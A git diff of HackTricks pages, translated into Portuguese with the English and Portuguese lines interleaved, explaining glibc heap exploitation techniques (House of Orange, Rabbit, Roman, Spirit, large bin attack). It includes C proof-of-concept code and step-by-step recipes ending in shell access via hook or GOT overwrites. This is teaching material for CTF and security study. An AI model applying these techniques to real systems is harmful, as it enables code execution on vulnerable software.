Campos-chave na estrutura falsa **\_IO_FILE**, como `_IO_write_base` e `_IO_write_ptr`, são definidos para valores que passam nas verificações internas da libc. Além disso, uma tabela de saltos é criada dentro da estrutura falsa, onde um ponteiro de instrução é definido para o endereço onde o código arbitrário pode ser executado. Normalmente, este seria o endereço da função `system` ou outra função que pode executar comandos de shell.
The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed.
O ataque culmina quando uma chamada para `malloc` aciona a execução do código através da estrutura manipulada **\_IO_FILE**. Isso efetivamente permite a execução de código arbitrário, resultando tipicamente em um shell sendo gerado ou outro payload malicioso sendo executado.
**Summary of the Attack:**
**Resumo do Ataque:**
1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size.
2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk.
3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin.
4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow.
5. **Shrink the old top chunk**: Adjust its size to fit into a small bin.
6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow.
7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code.
1. **Configurar o chunk superior**: Alocar um chunk e modificar o tamanho do chunk superior.
2. **Forçar o chunk superior para o bin não ordenado**: Alocar um chunk maior.
3. **Vazar endereços da libc**: Usar a vulnerabilidade para ler do bin não ordenado.
4. **Realizar o ataque ao bin não ordenado**: Escrever em **\_IO_list_all** usando um estouro.
5. **Reduzir o antigo chunk superior**: Ajustar seu tamanho para caber em um bin pequeno.
6. **Configurar uma estrutura falsa \_IO_FILE**: Forjar uma estrutura de arquivo falsa para sequestrar o fluxo de controle.
7. **Acionar a execução de código**: Alocar um chunk para executar o ataque e rodar código arbitrário.
This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities.
Essa abordagem explora mecanismos de gerenciamento de heap, vazamentos de informações da libc e estouros de heap para alcançar a execução de código sem chamar diretamente `free`. Ao elaborar cuidadosamente a estrutura falsa **\_IO_FILE** e colocá-la na localização correta, o ataque pode sequestrar o fluxo de controle durante operações padrão de alocação de memória. Isso permite a execução de código arbitrário, potencialmente resultando em um shell ou outras atividades maliciosas.
## References
## Referências
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/)
- [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)

View File

@ -2,110 +2,92 @@
{{#include ../../banners/hacktricks-training.md}}
### Requirements
### Requisitos
1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size.
2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks.
1. **Capacidade de modificar o ponteiro fd do fast bin ou o tamanho**: Isso significa que você pode alterar o ponteiro para frente de um chunk no fastbin ou seu tamanho.
2. **Capacidade de acionar `malloc_consolidate`**: Isso pode ser feito alocando um chunk grande ou mesclando o chunk superior, o que força o heap a consolidar chunks.
### Goals
### Objetivos
1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations.
2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations.
1. **Criar chunks sobrepostos**: Para ter um chunk sobrepondo-se a outro, permitindo mais manipulações do heap.
2. **Forjar chunks falsos**: Para enganar o alocador fazendo-o tratar um chunk falso como um chunk legítimo durante operações de heap.
## Steps of the attack
## Etapas do ataque
### POC 1: Modify the size of a fast bin chunk
### POC 1: Modificar o tamanho de um chunk do fast bin
**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk.
- **Step 1: Allocate Chunks**
**Objetivo**: Criar um chunk sobreposto manipulando o tamanho de um chunk do fastbin.
- **Etapa 1: Alocar Chunks**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
```
Alocamos dois pedaços de 0x40 bytes cada. Esses pedaços serão colocados na lista de fast bin uma vez liberados.
We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed.
- **Step 2: Free Chunks**
- **Passo 2: Liberar Pedaços**
```cpp
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
```
Liberamos ambos os chunks, adicionando-os à lista fastbin.
We free both chunks, adding them to the fastbin list.
- **Step 3: Modify Chunk Size**
- **Passo 3: Modificar o Tamanho do Chunk**
```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
Mudamos os metadados de tamanho de `chunk1` para 0xa1. Este é um passo crucial para enganar o alocador durante a consolidação.
We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation.
- **Step 4: Trigger `malloc_consolidate`**
- **Passo 4: Acionar `malloc_consolidate`**
```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
```
Alocar um grande bloco aciona a função `malloc_consolidate`, mesclando pequenos blocos no fast bin. O tamanho manipulado de `chunk1` faz com que ele se sobreponha a `chunk2`.
Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`.
Após a consolidação, `chunk1` se sobrepõe a `chunk2`, permitindo uma exploração adicional.
After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation.
### POC 2: Modificar o ponteiro `fd`
### POC 2: Modify the `fd` pointer
**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer.
- **Step 1: Allocate Chunks**
**Objetivo**: Criar um bloco falso manipulando o ponteiro `fd` do fast bin.
- **Passo 1: Alocar Blocos**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
**Explicação**: Alocamos dois pedaços, um menor e um maior, para preparar o heap para o pedaço falso.
**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk.
- **Step 2: Create fake chunk**
- **Passo 2: Criar pedaço falso**
```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
Escrevemos metadados de chunk falso em `chunk2` para simular chunks menores.
We write fake chunk metadata into `chunk2` to simulate smaller chunks.
- **Step 3: Free `chunk1`**
- **Passo 3: Liberar `chunk1`**
```cpp
free(chunk1); // Frees the chunk at 0x602000
```
**Explicação**: Liberamos `chunk1`, adicionando-o à lista fastbin.
**Explanation**: We free `chunk1`, adding it to the fastbin list.
- **Step 4: Modify `fd` of `chunk1`**
- **Passo 4: Modificar `fd` de `chunk1`**
```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**Explicação**: Mudamos o ponteiro para frente (`fd`) do `chunk1` para apontar para nosso chunk falso dentro do `chunk2`.
**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`.
- **Step 5: Trigger `malloc_consolidate`**
- **Passo 5: Acionar `malloc_consolidate`**
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
Alocar um grande bloco novamente aciona `malloc_consolidate`, que processa o bloco falso.
Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk.
O bloco falso se torna parte da lista fastbin, tornando-se um bloco legítimo para exploração adicional.
The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation.
### Resumo
### Summary
The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
A técnica **House of Rabbit** envolve modificar o tamanho de um bloco fast bin para criar blocos sobrepostos ou manipular o ponteiro `fd` para criar blocos falsos. Isso permite que atacantes forjem blocos legítimos na heap, possibilitando várias formas de exploração. Compreender e praticar esses passos aprimorará suas habilidades de exploração de heap.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,87 +2,82 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
Esta foi uma técnica muito interessante que permitiu RCE sem leaks através de fastbins falsos, o ataque unsorted_bin e sobrescritas relativas. No entanto, foi [**corrigida**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
### Code
### Código
- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
- Você pode encontrar um exemplo em [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
### Goal
### Objetivo
- RCE by abusing relative pointers
- RCE abusando de ponteiros relativos
### Requirements
### Requisitos
- Edit fastbin and unsorted bin pointers
- 12 bits of randomness must be brute forced (0.02% chance) of working
- Editar ponteiros de fastbin e unsorted bin
- 12 bits de aleatoriedade devem ser forçados por força bruta (0,02% de chance) de funcionar
## Attack Steps
## Etapas do Ataque
### Part 1: Fastbin Chunk points to \_\_malloc_hook
### Parte 1: Fastbin Chunk aponta para \_\_malloc_hook
Create several chunks:
Crie vários chunks:
- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value.
- `chunk2` (0x80, offset 0x70): For good alignment
- `fastbin_victim` (0x60, offset 0): Chunk UAF que será editado para apontar para o valor da LibC.
- `chunk2` (0x80, offset 0x70): Para um bom alinhamento
- `main_arena_use` (0x80, offset 0x100)
- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk
- `relative_offset_heap` (0x60, offset 0x190): offset relativo no chunk 'main_arena_use'
Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers.
Então `free(main_arena_use)` que colocará este chunk na lista não ordenada e obterá um ponteiro para `main_arena + 0x68` nos ponteiros `fd` e `bk`.
Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`.
Then `relative_offset_heap` and `fastbin_victim` are freed.
Agora é alocado um novo chunk `fake_libc_chunk(0x60)` porque conterá os ponteiros para `main_arena + 0x68` em `fd` e `bk`.
Então `relative_offset_heap` e `fastbin_victim` são liberados.
```c
/*
Current heap layout:
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
- &#x20;`fastbin_victim` tem um `fd` apontando para `relative_offset_heap`
- &#x20;`relative_offset_heap` é um offset de distância de `fake_libc_chunk`, que contém um ponteiro para `main_arena + 0x68`
- Apenas mudando o último byte de `fastbin_victim.fd` é possível fazer com que `fastbin_victim` aponte para `main_arena + 0x68`
- &#x20;`fastbin_victim` has a `fd` pointing to `relative_offset_heap`
- &#x20;`relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68`
- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68`
Para as ações anteriores, o atacante precisa ser capaz de modificar o ponteiro fd de `fastbin_victim`.
For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`.
Então, `main_arena + 0x68` não é tão interessante, então vamos modificá-lo para que o ponteiro aponte para **`__malloc_hook`**.
Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**.
Note que `__memalign_hook` geralmente começa com `0x7f` e zeros antes dele, então é possível falsificá-lo como um valor no fast bin `0x70`. Como os últimos 4 bits do endereço são **aleatórios**, há `2^4=16` possibilidades para o valor acabar apontando onde estamos interessados. Então, um ataque BF é realizado aqui para que o chunk termine como: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works).
Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`**
(Para mais informações sobre os outros bytes, verifique a explicação no [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ exemplo](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Se o BF não funcionar, o programa simplesmente trava (então comece de novo até funcionar).
Então, 2 mallocs são realizados para remover os 2 chunks iniciais do fast bin e um terceiro é alocado para obter um chunk em **`__malloc_hook:`**
```c
malloc(0x60);
malloc(0x60);
uint8_t* malloc_hook_chunk = malloc(0x60);
```
### Parte 2: Ataque Unsorted_bin
### Part 2: Unsorted_bin attack
For more info you can check:
Para mais informações, você pode verificar:
{{#ref}}
unsorted-bin-attack.md
{{#endref}}
But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`.
For this we start getting a chunk and putting it into the **unsorted bin**:
Mas basicamente permite escrever `main_arena + 0x68` em qualquer local especificado em `chunk->bk`. E para o ataque, escolhemos `__malloc_hook`. Então, após sobrescrevê-lo, usaremos uma sobrescrita relativa para apontar para um `one_gadget`.
Para isso, começamos obtendo um chunk e colocando-o no **unsorted bin**:
```c
uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate
@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously).
Use um UAF neste chunk para apontar `unsorted_bin_ptr->bk` para o endereço de `__malloc_hook` (nós forçamos isso anteriormente).
> [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.**
> Note que este ataque corrompe o bin não ordenado (portanto, pequeno e grande também). Então, só podemos **usar alocações do fast bin agora** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso, devemos **alocar o mesmo tamanho ou o programa travará.**
So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`**
Assim, para acionar a escrita de `main_arena + 0x68` em `__malloc_hook`, realizamos após definir `__malloc_hook` em `unsorted_bin_ptr->bk`, só precisamos fazer: **`malloc(0x80)`**
### Step 3: Set \_\_malloc_hook to system
### Passo 3: Definir \_\_malloc_hook para system
In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here.
No primeiro passo, terminamos controlando um chunk contendo `__malloc_hook` (na variável `malloc_hook_chunk`) e no segundo passo conseguimos escrever `main_arena + 0x68` aqui.
Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**.
Agora, abusamos de uma sobrescrita parcial em `malloc_hook_chunk` para usar o endereço libc que escrevemos lá (`main_arena + 0x68`) para **apontar um endereço `one_gadget`**.
Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
Aqui é onde é necessário **forçar 12 bits de aleatoriedade** (mais informações no [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ exemplo](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**.
Finalmente, uma vez que o endereço correto é sobrescrito, **chame `malloc` e acione o `one_gadget`**.
## References
## Referências
- [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)

View File

@ -1,15 +1,14 @@
# House of Spirit
# Casa do Espírito
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
### Code
### Código
<details>
<summary>House of Spirit</summary>
<summary>Casa do Espírito</summary>
```c
#include <unistd.h>
#include <stdlib.h>
@ -19,99 +18,96 @@
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
};
int main() {
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
ptr = malloc(0x30);
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
free(ptr);
free(ptr);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
return 0;
return 0;
}
```
</details>
### Goal
### Objetivo
- Be able to add into the tcache / fast bin an address so later it's possible to allocate it
- Ser capaz de adicionar um endereço no tcache / fast bin para que mais tarde seja possível alocá-lo
### Requirements
### Requisitos
- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin.
- Este ataque requer que um atacante consiga criar alguns chunks rápidos falsos indicando corretamente o valor do tamanho e, em seguida, conseguir liberar o primeiro chunk falso para que ele entre no bin.
### Attack
### Ataque
- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes
- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address
**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good:
- Criar chunks falsos que contornem as verificações de segurança: você precisará de 2 chunks falsos basicamente indicando nas posições corretas os tamanhos corretos
- De alguma forma, gerenciar para liberar o primeiro chunk falso para que ele entre no fast ou tcache bin e, em seguida, alocá-lo para sobrescrever aquele endereço
**O código de** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **é ótimo para entender o ataque.** Embora este esquema do código resuma bem:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
```
> [!NOTE]
> Note that it's necessary to create the second chunk in order to bypass some sanity checks.
> Note que é necessário criar o segundo chunk para contornar algumas verificações de sanidade.
## Examples
## Exemplos
- **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)
- **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF
- **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\
Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell.
- **Libc infoleak**: Através de um overflow, é possível mudar um ponteiro para apontar para um endereço GOT a fim de vazar um endereço libc via a ação de leitura do CTF.
- **House of Spirit**: Abusando de um contador que conta o número de "rifles", é possível gerar um tamanho falso do primeiro chunk falso, então abusando de uma "mensagem", é possível falsificar o segundo tamanho de um chunk e, finalmente, abusando de um overflow, é possível mudar um ponteiro que vai ser liberado, de modo que nosso primeiro chunk falso seja liberado. Então, podemos alocá-lo e dentro dele haverá o endereço de onde a "mensagem" está armazenada. Então, é possível fazer com que isso aponte para a entrada `scanf` dentro da tabela GOT, para que possamos sobrescrevê-la com o endereço do sistema.\
Na próxima vez que `scanf` for chamado, podemos enviar a entrada `"/bin/sh"` e obter um shell.
- [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
- **Glibc leak**: Uninitialized stack buffer.
- **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive.
- **Glibc leak**: Buffer de pilha não inicializado.
- **House of Spirit**: Podemos modificar o primeiro índice de um array global de ponteiros de heap. Com uma única modificação de byte, usamos `free` em um chunk falso dentro de um chunk válido, de modo que obtemos uma situação de chunks sobrepostos após alocar novamente. Com isso, um simples ataque de envenenamento de Tcache funciona para obter uma primitiva de escrita arbitrária.
## References
## Referências
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit)

View File

@ -4,55 +4,53 @@
## Basic Information
For more information about what is a large bin check this page:
Para mais informações sobre o que é um large bin, consulte esta página:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
É possível encontrar um ótimo exemplo em [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met.
Basicamente, aqui você pode ver como, na versão "atual" mais recente do glibc (2.35), não é verificado: **`P->bk_nextsize`**, permitindo modificar um endereço arbitrário com o valor de um chunk de large bin se certas condições forem atendidas.
In that example you can find the following conditions:
Nesse exemplo, você pode encontrar as seguintes condições:
- A large chunk is allocated
- A large chunk smaller than the first one but in the same index is allocated
- Must be smalled so in the bin it must go first
- (A chunk to prevent merging with the top chunk is created)
- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin
- Then, the second large chunk is freed
- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]`
- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2
- Um chunk grande é alocado
- Um chunk grande menor que o primeiro, mas no mesmo índice, é alocado
- Deve ser menor, então no bin deve ir primeiro
- (Um chunk para evitar a fusão com o chunk superior é criado)
- Em seguida, o primeiro chunk grande é liberado e um novo chunk maior que ele é alocado -> Chunk1 vai para o large bin
- Então, o segundo chunk grande é liberado
- Agora, a vulnerabilidade: O atacante pode modificar `chunk1->bk_nextsize` para `[target-0x20]`
- Em seguida, um chunk maior que o chunk 2 é alocado, então chunk2 é inserido no large bin sobrescrevendo o endereço `chunk1->bk_nextsize->fd_nextsize` com o endereço de chunk2
> [!TIP]
> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to.
This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten:
> Existem outros cenários potenciais, a questão é adicionar ao large bin um chunk que seja **menor** que um chunk X atual no bin, então ele precisa ser inserido logo antes dele no bin, e precisamos ser capazes de modificar **`bk_nextsize`** de X, pois é lá que o endereço do chunk menor será escrito.
Este é o código relevante do malloc. Comentários foram adicionados para entender melhor como o endereço foi sobrescrito:
```c
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk
{
fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
```
Isso pode ser usado para **sobrescrever a variável global `global_max_fast`** da libc para então explorar um ataque de fast bin com chunks maiores.
This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks.
Você pode encontrar outra ótima explicação deste ataque em [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
### Other examples
### Outros exemplos
- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
- Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
- The write primitive is more complex, because `global_max_fast` is useless here.
- FSOP is needed to finish the exploit.
- Ataque de large bin na mesma situação em que aparece em [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
- O primitive de escrita é mais complexo, porque `global_max_fast` é inútil aqui.
- FSOP é necessário para finalizar a exploração.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,112 +4,110 @@
## Basic Information
Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks.
